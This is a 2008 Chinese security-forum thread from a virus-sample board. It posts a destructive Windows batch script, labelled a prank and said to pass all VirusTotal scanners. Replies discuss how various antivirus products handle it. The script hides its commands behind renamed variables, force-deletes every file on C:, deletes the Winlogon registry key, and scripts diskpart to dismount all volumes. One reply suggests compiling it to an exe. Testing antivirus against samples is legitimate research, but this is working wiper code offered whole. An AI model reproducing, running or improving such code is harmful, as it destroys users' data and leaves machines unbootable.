伤害力吓人的BAT,VT全过

显示全部楼层 · 发表于 2008-8-23 23:07:34

恶搞
@set fuck_l=del
@fuck_l /F /Q C:\*.*>nul
@set fuck_G=ReG
@fuck_G delete HKLM\SYSTEM\CurrentControlSet\Control\Winlogon /F>nul
@echo REMOVE ALL DISMOUNT NOERR>>script.txt
@echo EXIT>>script.txt
@diskpart /s script.txt>nul
@del script.txt>nul
@endlocal

显示全部楼层 · 发表于 2008-8-23 23:08:36

原帖由 gankeyu 于 2008-8-23 22:51 发表
他还会删除注册表键，还会调用dISKPART,kis拦截没有？

调用了，但没动作，随后就退出了。

显示全部楼层 · 发表于 2008-8-23 23:10:31

MS在VISTA非管理员权限一个BAT没有这么大权限吧？

显示全部楼层 · 发表于 2008-8-23 23:13:48

用编译器编译成exe更好

显示全部楼层 · 发表于 2008-8-23 23:18:19

原帖由 ranguangning 于 2008-8-23 23:13 发表
用编译器编译成exe更好

342308

你这个不行，启动后立即就退出并被删除了，动作都没有出来。

显示全部楼层 · 发表于 2008-8-23 23:19:50

那可能编译器选错了，也罢，不用理会。本来应该用exescript的，呵呵。

显示全部楼层 · 发表于 2008-8-23 23:30:23

貌似一般

显示全部楼层 · 发表于 2008-8-23 23:37:47

KIS2009 自设规则加强型交换模式全部拦截了，MS我的BAT都无法创建，啊哈哈哈，自己设规则就是好啊

显示全部楼层 · 发表于 2008-8-24 00:06:32

The file 'Repair.bat' has been determined to be 'UNDER ANALYSIS'.

显示全部楼层 · 发表于 2008-8-24 00:23:51

SEP没动静

[病毒样本] 伤害力吓人的BAT,VT全过